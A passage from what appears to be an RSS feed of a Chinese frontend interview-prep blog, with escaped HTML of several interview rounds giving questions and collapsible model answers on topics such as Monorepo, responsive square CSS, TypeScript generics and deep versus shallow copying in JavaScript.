&lt;p&gt;整体而言，面试不仅考察&amp;quot;是什么&amp;quot;，更侧重&amp;quot;为什么&amp;quot;和&amp;quot;如何做&amp;quot;，需要候选人能够结合实际项目经验进行深入分析和解答。&lt;/p&gt;
&lt;p&gt;本轮共 20 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-8d95efee0278"&gt;1. 你刚才提到了一些项目经历，讲一个你觉的最有成就感的？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;这道题是典型的主观题，面试官并不期待一个&amp;quot;唯一标准答案&amp;quot;。&lt;/li&gt;
&lt;li&gt;主要考察的是答题者的表达能力、系统性思考问题的方式、对项目及技术的理解深度以及从项目中复盘和学习的能力。&lt;/li&gt;
&lt;li&gt;答题结构建议：简述项目背景与挑战 → 描述你的解决方案及遇到的困难 → 总结项目成果与个人成长。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在过去的项目经历中，让我最有成就感的是负责公司内部一个复杂的用户权限管理系统重构。这个系统当时面临着用户反馈权限配置混乱、性能瓶颈突出、以及新功能迭代困难等问题。&lt;/p&gt;
&lt;p&gt;当时的核心挑战在于，我们有上百种细粒度的权限点，并且需要支持多维度、动态的权限组合，这在旧系统中已经形成了一个巨大的权限矩阵，任何改动都牵一发而动全身。我首先主导了权限模型的梳理和抽象，将权限点进行了归类和分级，并引入了基于角色的访问控制（RBAC）模型，同时考虑了自定义策略的扩展性。技术选型上，我们从传统的后端硬编码权限逻辑，逐步迁移到了前后端分离、统一鉴权服务的方式，并通过引入缓存机制优化了权限查询性能。&lt;/p&gt;
&lt;p&gt;在实现过程中，最大的难点是如何在不影响现有业务的前提下，平滑地进行新旧权限系统的切换。为此，我设计了一套灰度发布方案，通过用户白名单和功能开关，逐步验证新系统的稳定性和准确性。在这个过程中，我们也遇到了一些意想不到的数据同步和兼容性问题，例如在特定场景下，新旧权限解析不一致导致的用户访问异常。我积极与后端团队、产品经理沟通，快速定位问题，并及时调整了数据同步策略和回滚机制，确保了业务的连续性。&lt;/p&gt;
&lt;p&gt;最终，重构后的权限系统不仅将权限配置的效率提升了30%，还将核心鉴权接口的响应时间从原来的数百毫秒优化到了几十毫秒，极大地提升了系统的性能和稳定性。更重要的是，它为后续的新业务快速上线提供了坚实的基础，权限迭代周期缩短了50%以上。通过这个项目，我不仅深化了对权限系统设计的理解，也锻炼了我在复杂项目中进行技术选型、架构设计、风险管理和跨团队协作的能力。这次经历让我深切体会到，解决核心痛点并为业务带来实际价值，才是技术工作的最大成就感。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-d3991a27b3f9"&gt;2. 项目里 Monorepo 管理多包依赖怎么实现的；&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Monorepo 概念：理解 Monorepo 的基本思想和优势。&lt;/li&gt;
&lt;li&gt;多包依赖管理工具：了解 Lerna、Yarn Workspaces 或 pnpm Workspaces 等工具。&lt;/li&gt;
&lt;li&gt;实现方式：掌握如何配置和使用这些工具来管理多包依赖，包括安装、发布、运行脚本等。&lt;/li&gt;
&lt;li&gt;软链接/硬链接：理解这些工具如何通过符号链接解决依赖共享和版本管理问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;p&gt;Monorepo 是一种代码仓库管理策略，它将多个项目的代码存储在同一个版本控制仓库中，而不是为每个项目创建独立的仓库。这种方式的出现是为了解决多项目开发中代码共享、依赖管理、版本控制和协作效率等问题。它与传统的 Multirepo（多仓库）模式相对。&lt;/p&gt;
&lt;p&gt;其核心原理在于通过特定的工具（如 Lerna、Yarn Workspaces 或 pnpm Workspaces）来管理仓库内的多个子包（package），实现：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;统一的依赖管理&lt;/strong&gt;：所有包的依赖都集中在一个地方（通常是根目录的 &lt;code&gt;package.json&lt;/code&gt; 或各自的 &lt;code&gt;package.json&lt;/code&gt; 结合工具配置），避免了重复安装和版本不一致的问题。工具会通过软链接或硬链接的方式将依赖安装到各个子包的 &lt;code&gt;node_modules&lt;/code&gt; 中，实现依赖的共享和复用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;统一的构建、测试、发布流程&lt;/strong&gt;：可以配置统一的脚本来执行所有或部分包的构建、测试和发布流程，简化 CI/CD。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码共享与重用&lt;/strong&gt;：各个子包可以直接相互引用，无需发布到 npm 等外部仓库，方便代码共享和模块化开发。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="12-核心用法--示例代码"&gt;1.2 核心用法 + 示例代码&lt;/h5&gt;
&lt;p&gt;以 Yarn Workspaces 为例，它作为 Yarn 包管理器的内置功能，提供了一种轻量级的 Monorepo 解决方案。&lt;/p&gt;</description></item><item><title>字节跳动-商业化-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-75/round-119/</link><pubDate>Tue, 02 Sep 2025 07:31:02 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-75/round-119/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-75/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-75/round-120/"&gt;第 2 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察前端基础知识、React框架原理、算法能力等多个维度的内容。重点关注CSS布局、页面性能优化、React核心概念等方面。&lt;/p&gt;
&lt;p&gt;本轮共 18 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-96560c8c639c"&gt;1. 如何实现一个宽高自适应的正方形元素？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;CSS布局技巧和响应式设计能力&lt;/li&gt;
&lt;li&gt;百分比单位在CSS中的特殊性质理解&lt;/li&gt;
&lt;li&gt;现代CSS新特性的应用能力&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;p&gt;实现宽高自适应的正方形元素的核心在于确保元素的高度能够根据其宽度以1:1的比例进行等比缩放。这通常通过利用CSS中某些属性的特殊计算方式来实现，或者通过现代CSS特性直接声明。以下是几种常见方案的核心原理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;使用padding-top/padding-bottom百分比&lt;/strong&gt;：在CSS盒模型中，&lt;code&gt;padding&lt;/code&gt;属性的百分比值是相对于父元素的&lt;strong&gt;宽度&lt;/strong&gt;来计算的，即使是&lt;code&gt;padding-top&lt;/code&gt;和&lt;code&gt;padding-bottom&lt;/code&gt;也是如此。因此，当我们将一个元素的&lt;code&gt;height&lt;/code&gt;设为0，并将&lt;code&gt;padding-top&lt;/code&gt;或&lt;code&gt;padding-bottom&lt;/code&gt;设为&lt;code&gt;100%&lt;/code&gt;时，它的高度实际上会等于其父元素的宽度，从而形成一个完美的正方形（假设其宽度也为100%）。这种方法利用了这一特性来&amp;quot;撑开&amp;quot;元素的高度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用aspect-ratio（现代浏览器支持）&lt;/strong&gt;：&lt;code&gt;aspect-ratio&lt;/code&gt;是CSS的一个新属性，它允许开发者直接指定一个元素的宽高比，浏览器会根据这个比率自动计算元素的尺寸。例如，&lt;code&gt;aspect-ratio: 1/1&lt;/code&gt;会强制元素保持1:1的正方形比例。这是一个更语义化、更现代的解决方案，减少了传统方法的 hackiness。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用vw单位&lt;/strong&gt;：&lt;code&gt;vw&lt;/code&gt;（viewport width）是一个相对单位，&lt;code&gt;1vw&lt;/code&gt;等于视口宽度的1%。通过将元素的&lt;code&gt;width&lt;/code&gt;和&lt;code&gt;height&lt;/code&gt;都设置为相同的&lt;code&gt;vw&lt;/code&gt;值，例如&lt;code&gt;50vw&lt;/code&gt;，可以确保它们始终保持相等的尺寸，并随着视口宽度的变化而自适应缩放，从而形成正方形。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些方案各有优缺点，如兼容性、代码语义性等，选择哪种方案取决于具体的项目需求和目标浏览器环境。&lt;/p&gt;
&lt;h5 id="12-核心用法--示例代码"&gt;1.2 核心用法 + 示例代码&lt;/h5&gt;
&lt;p&gt;在实际开发中，这些方案可以根据兼容性需求和代码简洁性进行选择。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方案1：使用padding-top/padding-bottom百分比&lt;/strong&gt;
这种方法兼容性好，几乎所有浏览器都支持。常用于需要兼容旧版浏览器或在图片、视频容器中保持比例的场景。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;square&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 宽度可以设置为百分比、固定值或vw等 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding-top&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* padding百分比相对于父元素宽度计算，确保高度与宽度相等 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#eee&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* 内部内容可以通过绝对定位放置，以避免被padding挤压 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;position&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;relative&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;square-content&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;position&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;absolute&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;top&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;left&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;display&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;flex&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;justify-content&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;align-items&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#333&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;HTML结构示例:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;square&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;square-content&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 自适应正方形
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;方案2：使用aspect-ratio（现代浏览器支持）&lt;/strong&gt;
这是CSS3新增的属性，语义化最好，代码最简洁。适用于现代浏览器环境，是推荐的首选方案。&lt;/p&gt;</description></item><item><title>字节-国际电商-前端面试 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-74/round-118/</link><pubDate>Tue, 02 Sep 2025 07:09:39 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-74/round-118/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-74/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 考察面试者的表达能力、总结归纳能力和个人亮点。&lt;/p&gt;
&lt;p&gt;本轮共 17 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-12b75c445924"&gt;1. 自我介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主观型问题，无唯一标准答案。&lt;/strong&gt; 面试官主要考察答题者的表达能力、总结归纳能力、沟通技巧以及对自身经历和技术栈的清晰认知。&lt;/li&gt;
&lt;li&gt;答题时建议围绕&amp;quot;我是谁&amp;quot;、&amp;ldquo;我做了什么&amp;rdquo;、&amp;ldquo;我做得怎么样&amp;quot;和&amp;quot;我为什么选择贵公司&amp;quot;这几个核心点展开，突出个人亮点与岗位匹配度。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;各位面试官好，我叫[您的姓名]，毕业于[您的学校]，专业是[您的专业]。在校期间，我专注于前端开发方向的学习与实践。在技术栈方面，我熟练掌握 HTML、CSS、JavaScript 基础，并深入学习了 Vue.js 框架，对 Vue 生态系统，如 Vuex、Vue Router 也有实际应用经验。在实习期间，我主要负责[您的项目职责，例如：公司官网前端页面的开发与维护，参与了XX功能模块的重构]。具体工作中，我曾独立负责[具体某个功能或模块]，通过[具体技术或方法]，实现了[具体效果或优化]，比如在[某项目中]实现了[某个功能]，有效提升了用户体验[或业务效率]。我个人对前端技术充满热情，具备良好的学习能力和解决问题的能力，期待能将我的技能和经验应用到贵公司，与团队一同成长。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-cd610cb03548"&gt;2. 在学校期间有没有参与过什么技术社团或项目，对你的前端学习有什么帮助？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主观型问题，无唯一标准答案。&lt;/strong&gt; 面试官主要考察答题者在校期间对技术的热情、主动学习能力、团队协作能力以及将理论知识应用于实践的能力。他们希望了解你如何将课外活动与前端学习结合，并从中获得了哪些成长。&lt;/li&gt;
&lt;li&gt;答题时建议突出你在社团/项目中承担的角色、遇到的挑战、如何解决问题、学到的技术知识以及对个人成长的影响。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在校期间，我积极参与了学校的[例如：创新创业协会或某个技术兴趣小组]。在这些活动中，我曾参与一个[例如：校园兼职平台]的小型项目开发。当时，我们团队面临的挑战是[例如：如何利用有限的资源快速搭建一个具备基本交互功能的前端原型]。我主动承担了前端页面的开发工作，通过自学 Vue.js 的组件化思想和路由管理，将页面拆分为可复用的组件，并实现了前端路由功能。虽然项目规模不大，但它让我第一次有机会将课堂上学习的 HTML、CSS、JavaScript 知识体系化地应用到实际开发中。通过这次经历，我不仅锻炼了独立解决问题的能力，还体会到了团队协作的重要性，比如在开发中与后端同学进行接口联调、与设计师沟通 UI 实现细节等，这对我后续的实习和前端学习都产生了积极的推动作用。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-3cf5356e8d84"&gt;3. 说说你实习项目中遇到的技术难点，以及你是如何解决的？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主观型问题，无唯一标准答案。&lt;/strong&gt; 面试官主要考察答题者对项目实践的深入理解、问题解决能力、技术深度以及学习和复盘能力。他们希望了解你在面对挑战时，如何分析问题、寻找解决方案并最终达成目标。&lt;/li&gt;
&lt;li&gt;答题时建议围绕&amp;quot;遇到什么难点&amp;rdquo;、&amp;ldquo;如何分析与定位问题&amp;rdquo;、&amp;ldquo;采用了哪些技术方案&amp;rdquo;、&amp;ldquo;解决了什么问题&amp;quot;以及&amp;quot;从中获得了哪些经验和教训&amp;quot;等核心点展开，强调思考过程和技术细节。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在我的实习项目中，我曾遇到一个比较棘手的性能问题。我们负责的一个电商列表页面，随着商品数量的增多，首次加载时间变得非常慢，用户体验受到严重影响。通过浏览器开发者工具分析，我发现主要瓶颈在于大量图片资源的加载以及首屏渲染时数据量过大导致的卡顿。&lt;/p&gt;
&lt;p&gt;为了解决这个问题，我首先考虑了&lt;strong&gt;图片懒加载&lt;/strong&gt;。我引入了一个 &lt;code&gt;Intersection Observer API&lt;/code&gt; 的实现，使得图片只有在进入用户视口时才开始加载，这显著减少了初始的 HTTP 请求数量和带宽消耗。其次，针对数据量大的问题，我调研并实现了&lt;strong&gt;虚拟列表&lt;/strong&gt;。核心思路是只渲染当前可见区域的列表项，并动态计算滚动时的偏移量和渲染范围。这避免了一次性渲染数千个 DOM 节点造成的性能压力。具体实现中，我维护了一个可滚动区域，根据滚动位置动态更新展示的数据索引，并结合 &lt;code&gt;requestAnimationFrame&lt;/code&gt; 确保滚动动画的流畅性。&lt;/p&gt;
&lt;p&gt;经过这些优化措施，页面的首次加载时间从原来的 8 秒降低到了 2 秒以内，列表滚动时的卡顿现象也基本消除。这个过程让我对前端性能优化有了更深层次的理解，特别是如何结合浏览器 API 和数据结构优化来解决实际问题，也锻炼了我分析和解决复杂性能瓶颈的能力。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-d61a01743b6a"&gt;4. 解释一下 TS 泛型的概念和作用&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;泛型概念&lt;/strong&gt;：面试官想确认面试者对泛型的基本定义、作用和设计目的的理解。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;泛型作用&lt;/strong&gt;：考察泛型在增强代码灵活性、类型安全和重用性方面的具体应用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实际应用&lt;/strong&gt;：理解泛型在实际开发中如何应用于函数、接口、类等场景，以及其在大型项目中的价值。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;1.1 原理说明&lt;/p&gt;</description></item><item><title>百度-小程序-暑期实习 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-73/round-117/</link><pubDate>Thu, 21 Aug 2025 15:43:17 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-73/round-117/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-73/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 21 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-a5330a58-5be0-4f4f-8394-43392311ddaa"&gt;1. 深拷贝浅拷贝有什么区别？怎么实现深拷贝？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/a5330a58-5be0-4f4f-8394-43392311ddaa"&gt;深拷贝浅拷贝有什么区别？怎么实现深拷贝？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;JS数据类型分别基本数据类型和引用数据类型，基本数据类型保存的是值，引用类型保存的是引用地址(this指针)。&lt;/p&gt;
&lt;p&gt;浅拷贝共用一个引用地址，深拷贝会创建新的内存地址。&lt;/p&gt;
&lt;h4 id="浅拷贝方法"&gt;浅拷贝方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;直接对象复制&lt;/li&gt;
&lt;li&gt;Object.assign&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="深拷贝"&gt;深拷贝&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;JSON.stringify转为字符串再JSON.parse&lt;/li&gt;
&lt;li&gt;深度递归遍历&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一数据类型存储"&gt;一、数据类型存储&lt;/h2&gt;
&lt;p&gt;前面文章我们讲到，&lt;code&gt;JavaScript&lt;/code&gt;中存在两大数据类型：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基本类型&lt;/li&gt;
&lt;li&gt;引用类型&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基本类型数据保存在在栈内存中&lt;/p&gt;
&lt;p&gt;引用类型数据保存在堆内存中，引用数据类型的变量是一个指向堆内存中实际对象的引用，存在栈中&lt;/p&gt;
&lt;h2 id="二浅拷贝"&gt;二、浅拷贝&lt;/h2&gt;
&lt;p&gt;浅拷贝，指的是创建新的数据，这个数据有着原始数据属性值的一份精确拷贝&lt;/p&gt;
&lt;p&gt;如果属性是基本类型，拷贝的就是基本类型的值。如果属性是引用类型，拷贝的就是内存地址&lt;/p&gt;
&lt;p&gt;即浅拷贝是拷贝一层，深层次的引用类型则共享内存地址&lt;/p&gt;
&lt;p&gt;下面简单实现一个浅拷贝&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shallowClone&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newObj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;prop&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;hasOwnProperty&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;prop&lt;/span&gt;)){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;newObj&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;prop&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;prop&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newObj&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在&lt;code&gt;JavaScript&lt;/code&gt;中，存在浅拷贝的现象有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Object.assign&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Array.prototype.slice()&lt;/code&gt;, &lt;code&gt;Array.prototype.concat()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用拓展运算符实现的复制&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="objectassign"&gt;Object.assign&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;age&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;,
